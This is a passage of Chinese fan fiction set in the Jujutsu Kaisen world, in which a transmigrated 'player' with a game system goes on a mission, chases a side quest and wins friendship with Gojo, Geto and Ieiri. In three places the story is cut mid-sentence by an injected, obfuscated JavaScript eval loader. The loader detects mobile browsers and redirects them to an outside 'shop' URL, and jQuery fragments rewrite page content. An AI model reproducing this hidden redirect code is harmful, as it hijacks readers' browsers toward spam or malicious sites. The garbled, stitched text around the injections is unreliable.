“你刚才也太敢说了吧。”五条悟拍着望月遥的肩膀,笑得直不起腰,“居然说我们是出来巡逻的。” “不然怎么办?”望月遥眨眨眼,“总不能说我们是出来偷饮料的吧?” “你这家伙……”夏油杰无奈地笑了笑,“以后别这么冲动了,刚才太危险了。” “知道了,夏油同学。”望月遥乖巧地点头。 家入硝子则从口袋里摸出一罐咖啡,递给望月遥:“给你,刚才的奖励,下次别这么冒失了。” “谢谢家入同学!”望月遥接过咖啡,打开喝了一口,苦涩的味道在嘴里散开,却让他觉得格外安心。 月光洒在四人身上,樱花树的影子在地上摇曳。 望月遥看着身边的三人,心里默默打开好感度面板: 【五条悟:好感度45→50(脑回路清奇但非常有趣的新同期)】 【夏油杰:好感度50→55(脑回路清奇但还可以理解意思的新同期)】 【家入硝子:好感度30→50(对你产生了关心)】 他满意地点点头。 很好,SSR队友的羁绊,又加深了一点。 今天真是充实美好的一天呀! 4. 第四天灾出任务啦~ 咒术高专的校外任务,向来有一条不成文的规矩—— 咒术师出任务,必须配备辅助监督随行。 负责记录战况、上报咒灵数据、管理任务经费、处理现场善后、以及……管住那几个一出门就撒野的问题儿童。 最后一条仅针对五条悟和夏油杰,现在再多一个望月遥。 而今天被派来跟五条悟、夏油杰、家入硝子、望月遥这一组的辅助监督,是才入职三年,就已经脸色常年发白、发际线岌岌可危的年轻男性——松本慎之。 此刻,松本监督手里攥着任务清单,脸色比仓库的锈铁还要难看。 “各位同学,请、请听我讲一遍任务流程!我们要先抵达现场,确认咒灵种类、强度、活动范围,然后按照规范——” 他的声音淹没在一片各自为政的空气里。 五条悟勾着望月遥的肩膀,白发翘得嚣张,墨镜滑下来一点,露出一截漂亮的蓝眼睛,兴致勃勃:“走啦走啦,便利店就在前面,任务哪有甜食重要。” 望月遥眼睛死死盯着系统面板,光屏在他眼底淡蓝发亮。 【任务:清除港区仓库二级咒灵】 【难度:B】 【奖励:经验值+1500,高级咒具×1,便利店限定甜品兑换券×3】 【队友:五条悟、夏油杰、家入硝子】 【随行监督:松本慎之(可忽略)】 “哇,兑换券!”望月遥瞬间精神,“必须去!” 夏油杰抱着手臂站在一旁,丸子头随意的束在脑后,脸上挂着温和又无奈的笑,摆明了负责跟着、负责收拾、但绝不阻止。 “你们啊……真的会让监督很难做的。” 话是这么说,他手下半点没拦。 家入硝子淡定的摆摆手,“我只负责治疗,不负责听话,说到底我一个后勤为什么信了遥的邪出外勤啊,松本监督,等会儿他们惹事,我不背锅。” 松本慎之:“……” 他第一次觉得,高专的辅助监督守则,写得跟废纸一样。 这四个人,没有一个在听任务说明。 “对了,松本先生。”夏油杰回头看向魂都要飘散的辅助监督,笑得温和无害:“监督,便利店的零食、饮料、交通费,都先记在任务账上可以吧?毕竟是任务补给。” 松本慎之嘴角抽搐:“……任务补给里,没有草莓蛋糕和限定铜锣烧这一项。” 五条悟立刻回头,语气理直气壮到嚣张: “怎么没有!咒术师血糖低会影响发挥!夜蛾老师上课讲过!” 望月遥疯狂点头:“系统也说,甜食能提升幸运值!” 松本慎之:“…………系统是什么??” 没人理他。 下一秒,五条悟已经拽着望月遥冲进便利店,玻璃门叮铃哐啷响。 夏油杰慢悠悠跟上,顺便给松本监督让了个路,笑容温柔:“监督请,别客气。” 家入硝子最后进门,嘴里还在吐槽: “啊…麻烦死了,再买点咖啡好了,存货要没了。” 松本慎之站在门口,看着四个完全不像来出任务的少年,第一次对自己的职业产生了深刻的怀疑。 他是来监督任务的。 不是来带幼儿园春游的。 便利店内部,一片热火朝天。 五条悟推着购物车横冲直撞,草莓大福、黑巧蛋糕、奶油泡芙、冰柠檬茶、罐装咖啡疯狂往里丢,嘴里还念念有词: “蛋糕要双份,冰的要冰到牙痛,硝子的咖啡也要拿!” 望月遥蹲在货架前,对着樱花包装的铜锣烧两眼放光。 “系统说这是稀有道具!吃了加好感度!必须拿五个!” 夏油杰靠在货架边,看着两人疯,偶尔伸手帮他们把快倒的饮料扶稳,全程不阻止、不批评、不负责。 家入硝子坐在休息区椅子上玩手机,连头都不抬。 只有松本慎之一个人站在收银台旁,死死盯着任务手册,脸色发白。 “二级咒灵……港区仓库……危险区域……你们至少带点咒具啊——” “监督~”五条悟把购物车推到他面前,笑得灿烂,“结账啦,辛苦哦。” 松本慎之看着小山一样的零食,心脏抽痛。 “这、这真的不能报销——” “可以的哦。”夏油杰笑眯眯地补上一刀,“高专规定,任务中必要消费全部报销。” “这哪里必要了——!!” 没人听他惨叫。 最终,松本慎之还是黑着脸刷了卡。 他安慰自己:没关系,只要等会儿能顺利完成任务,那就还算值。 他太天真了。 等一行人磨磨蹭蹭抵达港区仓库时,天色已经彻底沉了下来。 锈迹斑斑的铁门推开,发出吱呀刺耳的声响,浓重的咒力扑面而来,混杂着海水腥气与腐烂木头的味道。 松本慎之瞬间绷紧神经,掏出记录本与咒力检测仪:“来了!检测到二级咒灵反应!位置在仓库深处,大家小心,保持阵型,不要擅自行动,等我先放账——” 他话音还没落。 五条悟蹲下来,指着地上一个压扁的可乐罐,眼睛发亮: “喂,望月!快看!隐藏道具!” 望月遥凑过去,面无表情的看着五条悟:“那是垃圾。” “昨天夜蛾老师才在高专门口捡了三个,说要罚我们打扫卫生。” “才不是!”五条悟一本正经,“这是幸运易拉罐,捡了能提升咒灵掉落率,我上次捡了一个,夜蛾老师的咒骸玩偶就掉在我脚边了。”他说的煞有其事,仿佛真的有什么玄学定律,完全忘了那是夜蛾老师不小心掉了,还追着他要了半天。 松本慎之:“……现在是捡垃圾的时候吗??咒灵就在里面啊——!” 依旧没人理。 夏油杰轻轻叹气,终于往前走了一步,凝聚起咒力,对着仓库深处淡淡开口: “出来吧,躲着也没用。” 他语气平静,却带着咒术高专天才的压迫感。 下一秒,令人牙酸的摩擦声响起。 一只浑身裹着透明黏液、爬满吸盘、外形像一滩烂肉的二级咒灵,慢悠悠从阴影里爬了出来。 腥气瞬间浓郁到呛人。 松本慎之脸色惨白:“来了!是黏液型咒灵!大家注意不要被黏液碰到——” 望月遥已经兴奋地掏出一个银色小哨子。 【咒灵诱饵】。 “看我的!” 他用力一吹—— 滴滴—— 声音微弱得像没电的玩具。 咒灵动作一顿。 然后,它猛地转向,拖着一身烂肉与吸盘,直直朝着五条悟冲了过去。 黏液啪嗒啪嗒滴在五条悟那件限量版白衬衫上,瞬间晕开一大片恶心的痕迹。 全场死寂一秒。 五条悟:“???” 望月遥举着哨子懵了:“系统是不是坏了?它怎么不跟着我走?” 家入硝子终于抬了一下眼,语气平静补刀: “你哨子拿反了,现在五条是同类诱饵。” 松本慎之崩溃尖叫:“现在不是玩道具的时候啊啊啊——!!衬衫怎么样无所谓,先祓除咒灵啊——!!” 五条悟当场炸毛,一边跳脚一边用咒力狂弹黏液,声音拔高: “无所谓?这是限量版!限量版!望月遥你故意的吧——!!” “我又不是故意的,再说了你不是有无下限嘛,开呀!”望月遥决定装傻装到底,死不承认自己拿反了哨子这回事。 夏油杰忍着笑,召唤出咒灵缠住黏液怪,动作行云流水,嘴上还不忘劝: “好了悟,别跟衬衫较劲,先解决掉,不然监督要哭了。” 松本慎之真的快哭了。 他这辈子第一次见到,出任务能出得像闹剧。 咒灵在面前乱爬,学生在旁边吵架,一个心疼衬衫,一个研究道具,一个全程看戏,只有他一个人在认真担心任务失败。 就在夏油杰的咒灵即将击中咒灵的瞬间—— 望月遥突然大喊:“等一下,掉材料了!” 他冲上去,指尖亮起蓝光,直接发动【快捷拾取】。 啪嗒。 一坨巨大的咒灵黏液,被精准收进背包。 【叮——获得道具:咒灵黏液×1,备注:黏糊糊的,用途不明】 望月遥脸垮了:“……这东西能卖钱吗?占格子。” 五条悟还在跟衬衫较劲,语气幽怨: “你敢把那玩意儿放背包,我就把你丢进海里。” 松本慎之扶着仓库墙壁,缓缓滑坐下去。 他看着记录本上“任务中”三个字,第一次觉得人生如此虚无。 咒灵祓除了。 但任务,好像从一开始就歪到了外太空。 咒灵总算解决干净。 松本慎之蹲在地上,颤抖着手填写任务报告,笔尖都在飘。 “确认……二级咒灵……祓除完成……现场无重大损伤……学生……学生精神状态……异常兴奋……” 他越写越心累。 望月遥蹲在旁边,反复点开背包,盯着那坨咒灵黏液唉声叹气。 五条悟站在一旁,用咒力一点点清除衬衫上的污渍,脸臭得像被抢了蛋糕。 夏油杰安静收拾咒灵残骸,动作熟练又优雅。 家入硝子靠在门边喝咖啡,仿佛在度假。 没有一个人关心监督的死活…… 没有一个人关心报告能不能过…… 没有一个人关心高专会不会追责…… 所以到底为什么啊! 就在这时,望月遥眼前突然弹出金色提示。 【叮——触发隐藏任务:帮助便利店店员找回丢失的钱包】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332740|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【奖励:限定甜品兑换券×5】 他“唰”地一下站起来,眼睛亮得吓人: “隐藏任务!甜品兑换券,回便利店!” 五条悟瞬间忘记衬衫惨案: “走,五张!这次我要三个草莓大福!” 两人说走就走,拔腿就往外冲。 夏油杰微微一顿,随即轻笑一声,慢悠悠跟上: “真是拿你们没办法……等等我。” 家入硝子把咖啡罐丢进垃圾桶,淡淡开口: “顺便帮我带一张咖啡味的兑换券。” 四个人,走得干脆利落。 留下松本慎之一个人蹲在仓库中央,手里还捏着笔,面前摊着未写完的报告。 海风从仓库门缝吹进来,卷起几张纸片,显得他格外凄凉。 松本慎之:“……等、等一下!任务还没完全结束,你们不能就这么走了啊!” 回答他的,是四道渐行渐远的背影。 以及五条悟远远飘来的一句话: “监督辛苦一下~到时候记得来结账哦~” 松本慎之看着空荡荡的仓库入口,终于忍不住,崩溃的哀嚎,他要辞职,辞职! 他到底是来监督任务的,还是来被抛弃的? 而另一边,抛弃了监督的四人组,已经快乐冲回便利店。 店员小姐姐一看见他们,眼圈立刻红了,抓着望月遥的手差点哭出来: “同学!刚才有个黑衣人抢了我的钱包!往码头跑了!里面有我女儿的生日礼物钱啊——” 望月遥立刻点开系统地图: “系统!定位目标!” 【目标位置:码头集装箱后,距离500米】 “冲!” 五条悟一马当先,完全不用咒力探测,仅凭直觉就冲得飞快。 夏油杰无奈跟上,顺便帮他们挡住路人。 家入硝子走在最后,冷静得像出来散步。 松本慎之还在仓库写报告。 他们已经开始快乐做隐藏任务了。 码头晚风微凉,夕阳把海面染成橘色。 黑衣人正蹲在集装箱后面数钱,嘴里哼着跑调的歌,完全不知道自己即将被四个问题儿童制裁。 五条悟二话不说,上去就是一拳。 没有花哨术式,没有六眼预判,就是单纯的、暴力的、快乐一拳。 黑衣人“嗖”地飞出去。 钱包啪嗒掉在地上。 望月遥捡起钱包,拍掉沙子,还给店员,顺利拿到五张限定甜品兑换券。 “血赚!”他眼睛都在发光。 “分我两张!”五条悟立刻凑上来。 “那也给我一份吧,谢谢。”夏油杰温和开口。 “……给我个咖啡味的。”家入硝子别过脸,假装不在意。 四人坐在码头石阶上,夕阳、海风、甜味、笑声,混在一起。 望月遥咬着草莓蛋糕,奶油沾在嘴角,幸福感爆棚。 他默默打开好感度面板。 【五条悟:50→60(有他在就有乐子在)】 【夏油杰:55→60(挺好的)】 【家入硝子:50→65(也许这样的高专生活还不错?)】 他满足地眯起眼。 任务什么的,果然和甜品、队友一起最棒了。 五条悟戳戳他的脸,嚣张又得意: “以后出任务都带你,你就是我们的甜品幸运星!” 夏油杰笑着摇头,却把自己手里的铜锣烧分了一半给他: “还是要看任务怎么分配啊悟。” 家入硝子默默递来一张纸巾,语气依旧淡淡的: “擦嘴,笨蛋。” 没有人想起还在仓库里写报告的监督。 没有人想起高专还在等着他们的任务回执。 只有远在港区仓库的松本慎之,对着空白的“学生行动记录”一栏,痛苦地抓着头发。 “……全员脱离监督视线、擅自行动、购买大量甜食、触发无关任务、无视任务纪律……” 他一笔一划写着,越写越绝望。 “这报告交上去,我会不会被夜蛾先生骂死……” 晚风从码头吹向仓库,带着甜香。 四个少年的笑声飘得很远。 五条悟还在嚣张地抢蛋糕。 望月遥还在研究系统背包。 夏油杰还在温柔收拾残局。 家入硝子还在冷漠吐槽。 他们不关心以后会怎样。 他们只知道—— 今天有蛋糕,有兑换券,有队友,有闹哄哄的快乐。 至于任务报告…… 那是松本监督的事,才不关他们的事呢。 夕阳慢慢落下,把四人的影子拉得很长很长,一路延伸向咒术高专的方向。 也延伸向一段吵吵闹闹、永远不会无聊的日子里。 5. 第四天灾的攻略手段 距离港区仓库的任务已经过去好几天,高专的任务板上始终贴着“暂无外派任务”的通知。 春日的阳光透过教室的木窗,洒在课桌上,映得课本上的咒术符文都泛着暖光。望月遥撑着下巴,指尖无意识地戳着桌角的橡皮,头顶的呆毛蔫蔫地垂着,活像颗快发霉的蘑菇。 “欸,家入同学。” 他终于按捺不住,小心翼翼地戳了戳前排家入硝子的胳膊,对方正低头看着书,闻言缓缓侧过脸,眼神是一贯的淡漠。 “咒术界原来这么和平安逸的吗?没有任务要我们出吗?” “怎么可能。”家入硝子收回目光,慢条斯理地翻了一页,指尖划过“反转术式基础”几个字,“只是最近的二级以上咒灵都被其他咒术师清完了,剩下的杂碎,普通咒术师就够处理,没必要让我们出面。” “哦……” 望月遥垮下肩膀,整个人趴在桌子上,脸颊贴着微凉的桌面,声音闷闷的。 他的话题跳转速度向来快得离谱,前一秒还在愁没任务,下一秒就抛出了新问题:“家入同学,你觉得我怎么样呀?” 前排的夏油杰闻言,笔尖微顿,抬眼往这边瞥了一眼,又低头继续整理笔记。坐在窗边的五条悟则干脆摘下墨镜,用六眼饶有兴致地盯着望月遥,指尖转着草莓味硬糖,等着看好戏。 家入硝子显然也习惯了他的跳脱,只是挑了挑眉:“挺好的啊,性格有趣,不讨人嫌,术式更是离谱得厉害,我觉得悟和杰那俩家伙,大概也是这么想的。” 这话瞬间点亮了望月遥的眼睛,他猛地直起身子,冰蓝色的眸子里满是光亮,追问道:“那我们是朋友吗?” 教室瞬间安静了半秒。 夏油杰的笔停住了,五条悟转糖的动作也顿了顿。 家入硝子放下书,转过身,手肘撑在桌沿,看着望月遥的眼神第一次带上了认真。她没有立刻回答,反而反问道:“你觉得,什么是朋友?” 望月遥想都没想,脱口而出:“就是一起经历事情,一起有快乐的回忆,相处起来很舒服的人啊!” 他掰着手指细数,语气格外笃定:“我们一起出了校外任务,一起收拾了咒灵,一起帮便利店店员找钱包,还一起在码头吃了蛋糕。这些都是共同的回忆,而且我觉得跟你们在一起很开心啊!” 他说着,还偷偷瞥了一眼系统面板的角落——那三个停在Level 1的好感度数字,此刻在他眼里,仿佛也没那么刺眼了。 他今天一早才在系统那里得知计数都是千分制的,现在的好感度等级只是Level 1。 家入硝子看着他一脸认真的模样,轻轻叹了口气,她抬手把额前的碎发捋到耳后,声音平静却带着不容置疑的清晰:“遥,你可以把我们当成朋友。” 话锋一转,她的语气低了几分:“但杰和悟那边,恐怕没这么简单哦。” 望月遥的笑容不变,好奇的追问:“为什么?我们不是相处得很好吗?” “你觉得,悟和杰那样骄傲的人,会把一个始终把他们当成‘NPC’‘SSR队友’的人,当成真正的朋友吗?” “你一直在玩游戏啊,遥。” 家入硝子的话,像一把精准的钥匙,撬开了望月遥刻意忽略的角落。 他的呼吸一滞,指尖无意识地攥住了衣角。 系统面板的虚影在他眼前一闪而过,【五条悟·SSR队友】【夏油杰·核心队友】的标注,此刻竟让他莫名的心虚。 “我……”他张了张嘴,想辩解,却发现无话可说。对。 这七天里,他的确一直活在自己的“游戏逻辑”里,毕竟这就是游戏啊。 出任务是“刷副本”,收拾咒灵是“打怪掉宝”,和他们相处是“刷好感度”,就连家入硝子、五条悟、夏油杰,在他的认知里,最初也只是“稀有NPC”。 家入硝子看着他瞬间黯淡的神情,语气软了些许,却依旧没留情面:“我不介意,你怎么看待我,对我来说都一样。” 她顿了顿,目光扫过窗边的五条悟,又落在前排的夏油杰身上:“但他们不一样。” “悟是天生的‘六眼’,是咒术界的‘最强’,从出生起就站在顶端。他见过太多带着目的靠近他的人,崇拜他的、利用他的、敬畏他的,唯独没有把他当成‘五条悟’本身的人。杰也是一样,他足够聪明,足够通透,对人心的距离感看得比谁都清楚。” “他们的骄傲,不允许自己的‘朋友’,只是把他们当成一串数据、一个游戏角色。” “你有足够的能力站在他们身旁,但是其他的呢。” 望月遥低着头,视线落在桌角的木纹上,心里像被塞了一团湿棉花。 他一直以为,“一起疯玩”就是“朋友”,却忘了,自己从未真正走出“游戏”的框架,去正视面前这几人。 五条悟的嚣张背后,是无人能懂的孤独;夏油杰的温和背后,是泾渭分明的分寸;就连家入硝子的冷淡,也是一种不勉强的疏离。 而他,却一直用“系统”“好感度”,把这份刚刚萌芽的羁绊,框在了冰冷的数值里。 “那……”望月遥抬起头,冰蓝色的眸子里带着一丝迷茫,还有一丝不易察觉的倔强,“如果我不把他们当成NPC了呢?如果我把他们当成真正的人,当成想要认真相处的朋友,他们会认可我吗?” 家入硝子看着他眼底的光芒,沉默了片刻,最终只是耸了耸肩:“谁知道呢。” 她重新转回身,拿起书,却在翻开前,又丢下一句轻飘飘的话:“不过,悟今天早上还问我,你怎么没去便利店抢铜锣烧了,杰刚才整理笔记的时候,还特意多抄了一份,说要给你补昨天落下的咒力控制知识点。” 望月遥的心跳,突兀地漏了一拍。 他下意识地抬头,正好对上窗边五条悟的目光,对方立刻扬起一抹嚣张的笑,对着他晃了晃手里的糖,口型清晰:“望月同学,想要糖就过来~” 前排的夏油杰也侧过脸,对着他温和一笑,手里拿着两本笔记:“望月同学,昨天的课你走神了,这份笔记你拿去看看,有不懂的可以问我。” 阳光恰好落在他们身上,五条悟的白发泛着金光,夏油杰的笑容温柔得像春风,就连家入硝子的背影,也似乎没那么冷淡了。 望月遥看着他们,心里的湿棉花仿佛被阳光晒暖了。 他低下头,悄悄打开系统面板,看着那三个依旧停留在Level 1的好感度。 这一次,他没有再为“数值太低”而沮丧。 因为他突然明白,好感度的数字,从来不是“朋友”的凭证。 真正的认可,不是系统里的“Le ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332741|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' vel 1”,不是千分制的“101分”,而是放下“游戏”的执念,用真心去换真心。 他合上系统面板,把笔记本拉到面前,拿起笔,认认真真地写下一行字:【放弃“玩家思维”,做高专的“望月遥”。】 写完,他抬起头,对着五条悟扬了扬下巴,大声说:“五条同学,我才不要你的糖!我等下要去买限定铜锣烧!” 五条悟挑眉:“哦?那顺便给我带一份!” “凭什么?”望月遥哼了一声,却还是在心里默默记了一笔,“要带可以,下次训练你得教我体术!” “成交!”五条悟立刻应下,笑得像只偷了腥的猫。 夏油杰把笔记递过来,眼底带着笑意:“先看笔记,铜锣烧可以晚点买。” “好的,夏油同学,你人真好,好像男妈妈哦,” 夏油杰脸上的笑僵住了,耳边传来五条悟毫不掩饰的嘲笑,他无奈的扶额,“望月同学,后面这一句可以不用带的哦。” “好吧。”望月遥歪歪头,接过笔记。 他知道,现在的他,依旧是他们眼里“有趣的新同期”,依旧隔着分寸,依旧站在“朋友”的门槛之外。 但没关系。 入学才第七天,他还有足够的时间。 他可以慢慢放下“系统”的依赖,慢慢学着用“望月遥”的身份,去和五条悟吵嘴,和夏油杰讨教,和家入硝子聊天。 才怪! 第四天灾最擅长的就是顺杆子往上爬。 “现在不可以更喜欢我一点点嘛!” “当然可以,遥。”家入哨子是最先答应的,她本来就不是什么别扭的人,点明了唯一介意的事情之后也就自然而然的同意关系更进一步了。 “看你表现咯。”五条悟把墨镜往下一拉,那双不掺杂任何杂质,仿佛天穹泄下的蓝眸定定的看着望月遥,“再说了,有你这样要求别人喜欢你的嘛,你真的很怪哎。” 五条悟一边吐槽还不忘戳望月遥的脸。 被戳了的望月遥像个气鼓鼓的河豚炸了起来,望月遥抱着夏油杰的胳膊,整个人挂在上面晃悠,活像块甩不掉的年糕。 “夏油同学不叫我遥,我就不起来!”他把脸埋在对方袖子里,声音闷闷的,“家入同学都叫了,不对,是哨子,哨子都叫我遥了,你们不能搞特殊!” 五条悟蹲在一旁,撑着下巴看热闹,手里的糖纸捏得哗哗响:“望月同学,你这招对杰没用,他最有耐心了。” 话刚落,夏油杰无奈地扶额,刚要开口,望月遥立刻转移目标,扑到五条悟面前,往地上一坐,双手拍着膝盖开始“嚎”:“五条同学也得叫!不然我今天就赖在这,训练也不练了,咒力课也不上了!” 他一边嚎,一边偷偷抬眼瞄两人,余光瞥见家入硝子靠在门边,抱着胳膊看戏,还冲他比了个“加油”的手势。 “行行行。”五条悟最先投降,摘下墨镜,六眼弯成月牙,“遥,别嚎了,再嚎我把你的铜锣烧全吃光。” 夏油杰也轻笑出声,揉了揉他的头发:“遥,起来吧,地上凉。” 望月遥瞬间收声,从地上弹起来,眼睛亮晶晶的:“说话算话!以后不许再叫同学,要直呼其名!” “知道了,遥。” 第四天灾永不服输,他会争取自己想要的一切。 6. 第四天灾感觉不对劲 第四天灾觉得最近很不对劲。 具体就表现在他的那三个同期们这几天见他就溜。 早上训练课,望月遥刚抱着咒力增幅剂跑到训练场,五条悟就像被烫到一样,拽着夏油杰的手腕,瞬间用术式滑到了训练场另一头,还对着他比了个“溜了溜了”的手势,白发甩得比风还快。 “悟,杰,你们跑什么啊。”望月遥举着增幅剂,一脸茫然。 夏油杰回头,温和地笑了笑,语气却带着明显的躲闪:“遥,我们还有事,先去趟图书馆。” “图书馆?”望月遥更懵了,“你们昨天才说图书馆的咒术书全是枯燥的理论,今天怎么突然转性了?” 家入硝子抱着保温杯,从他身边经过时,脚步也快了半拍,只丢下一句“他们想一出是一出,我去跟着确保他们不会干啥蠢事,遥你自己先玩。”,就头也不回地走了。 望月遥:“……???” “难道……是我上次撒泼打滚改称呼,把他们惹烦了?”他蹲在地上,撑着下巴,声音闷闷的,“不能吧,他们都同意了呀。” 接下来的几天,这种被躲避的感觉越来越明显。 中午去食堂吃饭,他刚端着餐盘走到悟杰硝子的桌子旁,三人就像约好了一样,同时端起餐盘,换到了另一张桌子,还故意坐得离他远远的。 “遥,我们这边有点挤,你去别的地方坐吧。”五条悟说得理直气壮,跑路的动作也丝毫不含糊。 下午的咒术理论课,夜蛾老师让他们几个讨论,望月遥刚凑过去,五条悟就把夏油杰和家入硝子拉到另一边,三人围成一个小圈子,对着一张纸嘀嘀咕咕,还时不时抬头瞟他一眼,像在密谋什么。 “你们在讨论什么啊?带我一个呗!”望月遥凑过去,却被五条悟用无下限隔开。 “大人的事,小孩别管。”五条悟一脸傲娇,还对着他做了个鬼脸。 第四天灾是个玻璃心,他承认他破防了。 他回到宿舍,把自己反锁在房间里,对着系统面板emo。 “系统,他们是不是不想和我当朋友了?” 【系统提示:检测到玩家情绪低落,建议多刷共同任务,提升好感度。】 “可是他们都躲着我,连话都不想跟我说。” 系统死机了,一阵电流声过后,系统的回复重新响起。 【系统88:你咋不去跟踪一下,给你来个跟踪技能,去去。】 “……?”望月遥看着系统人性化的回复,整个人都愣住了,“等等,系统?” 【干嘛,玩家,有话就说有屁就放。】 “原来你这么智能的吗?”望月遥惊奇道。 【呵呵。】88要是有实体他就直接出现给望月遥翻个白眼了。 【全部内测玩家里面就属你最癫最蠢,我来看看怎么个事。】 望月遥:“我要投诉!你们人参公鸡!” 话虽然这么说,但他看着系统给他的隐匿技能,还是暗戳戳的决定明天跟踪一下看看。 第二天下午,五条悟、夏油杰和家入硝子又一次“溜”了望月遥,朝着高专大门的方向走去。 望月遥立刻开启【无敌帧·闪现规避】,悄咪咪地跟在后面,像个专业的侦探。 他特意绕到树后、墙根,尽量压低身形,心里还美滋滋:“我这走位,绝对不会被发现!” 可他不知道,在拥有六眼的五条悟眼里,他那点小动作,就像在聚光灯下跳广场舞一样显眼。 “遥跟在后面呢。”五条悟头也不回,语气轻松,六眼看得清清楚楚,他躲在第三棵树后面,还在搓手。 夏油杰轻笑一声:“看来他是起疑心了。” 家入硝子翻了个白眼:“笨蛋,这么明显的跟踪,也就他自己觉得隐蔽。” “那我们就陪他玩玩。”五条悟嘴角勾起一抹坏笑,“等会儿趁他不备,直接溜掉。” 三人对视一眼,瞬间达成共识。 走到一个岔路口,五条悟突然停下脚步,对着树后的方向喊:“遥,别躲了,我们知道你在后面。” 望月遥吓了一跳,瞬间僵在原地,心里咯噔一下,被发现了?系统给的隐匿技能这么垃圾的吗! 他硬着头皮从树后走出来,脸上堆起僵硬的笑容:“哈哈……好巧啊,你们也在这里?” “巧什么巧。”五条悟挑眉,语气嚣张,“六眼能看穿一切,你那点小把戏,在我眼里跟裸奔没区别。” 夏油杰温和地笑了笑:“遥,我们还有事,就先走了,你自己回高专吧。” 家入硝子补了一句,不过像是在哄小孩:“我们出去一趟,乖乖等我们回来。” 说完,三人转身就走,速度快得惊人。 望月遥愣在原地,看着他们的背影,眼泪瞬间就涌了上来。 他很委屈,他要大声说出来。 “他们躲我躲得这么明显,是不是不想和我当朋友,我要扎个小人诅咒他们呜呜。” 【……】系统88无言以对,【玩家,你要不先不哭了?给你草莓蛋糕吃?】 “我要十份!”望月遥恶狠狠地咬牙要求道,“我的心灵受到了伤害,我要求十倍补偿。” 【……彳亍。】 下午五点多,高专门口,望月遥坐在大门处看着地图上代表五条悟几人的绿点,面无表情的等着他们回来。 五条悟几人回来的时候看到的就是这么一副场景。 望月遥安安静静地坐着,长腿随意搭在台阶下,灰蓝碎发被晚风掀得轻晃,冰蓝眼瞳垂着,落在地面的碎石上,没什么情绪,连眉梢都绷得平直,像一尊被遗忘在门口的冰雕,周身气压低的可怕。 五条悟:“……我怎么觉得我们要遭。” 不,你的感觉错了,不是我们只有你。 夏油杰and家入哨子内心活动。 回答他的是夏油杰和家入哨子瞬间退后几百米的跑路速度,他们俩还笑眯眯的对他竖起一个大拇指。 夏油杰/家入哨子:“加油。” 五条悟:“………………” 猫猫的直觉告诉他,猫猫要遭殃了。 他试探的摸到望月遥身边,望月遥没说话,没抬头,只是缓缓撩起眼皮,冰蓝眼瞳像被风掀开的冰面,淡淡瞅了他一眼。 五条悟像被吓到的猫似的,弓起腰背炸毛哈气,“你这是什么表情,什么表情!” “我们可是回来接你了欸!我们接你来的欸!” 讲真的,平时抽象的不行的看起来软绵绵的少年突然板起脸来真的很吓人,更别提望月遥他本来就长着一张清冷美人面,只是他平时都是笑着的所以让人下意识忽略了这件事。 家入哨子:“哦呼,遥生气了。” 夏油杰:“……哨子少说两句,咱俩也是参与计划的一员。” 好吧,他们那个样子好像确实容易让人误会,家入哨子想了想,难得上去帮五条悟拆火,“遥,我们是在为你准备欢迎会。” 夏油杰在后面轻笑出声,附和道,“是,所以你别这样看着悟了,他要吓哭了。” 哼哼,第四天灾不买账。 “我都快入学半个月了,欢迎会?”望月遥发出死亡提问,边问边盯着面前的三人,“半个月,欢迎会。” “给你补办一个还不行嘛!”五条悟也要生气了,他决定要和这个不知好歹的家伙绝交十分钟! “唉。”望月遥叹了口气,故意板着的脸松了下来,“好好好,可是下次能不能和我提前说一声。” “我以为你们不想和我做朋友呢。” 提到这个他就伤心,他好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332742|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不容易想在游戏里面建立一些真心实意的关系,却被人躲着,他差点以为自己要被游戏人物耍了。 不,应该说,另一个维度的,不同世界的人。 毕竟已经决定把他们当真正的人来对待而不是冷冰冰的游戏数据了。 想到这里他就伤心,他要掉点鳄鱼泪。 夏油杰刚要开口打破这份安静,变故却在刹那间发生。 没有预兆,没有铺垫,甚至连一丝哽咽的前兆都没有。 望月遥只是微微眨了下眼,那双眼方才还冷得像冰面的冰蓝瞳仁里,突然就漫上了一层水汽。 下一秒,一颗晶莹的泪珠就顺着他白皙的脸颊滑落,砸在石阶上,晕开一小点湿痕。 紧接着,第二颗、第三颗…… 他依旧没说话,甚至连表情都没变,眉眼依旧是那副清冷的模样,只是眼尾以肉眼可见的速度泛红,像被晕开的朱砂,衬得那双眼愈发清透。 眼泪无声无息地淌,顺着利落的下颌线往下掉,打湿了衬衫领口,他却连抬手擦一下的动作都没有,只是静静地坐着,目光依旧落在前方,仿佛那汹涌而出的眼泪,与他无关。 空气瞬间凝固。 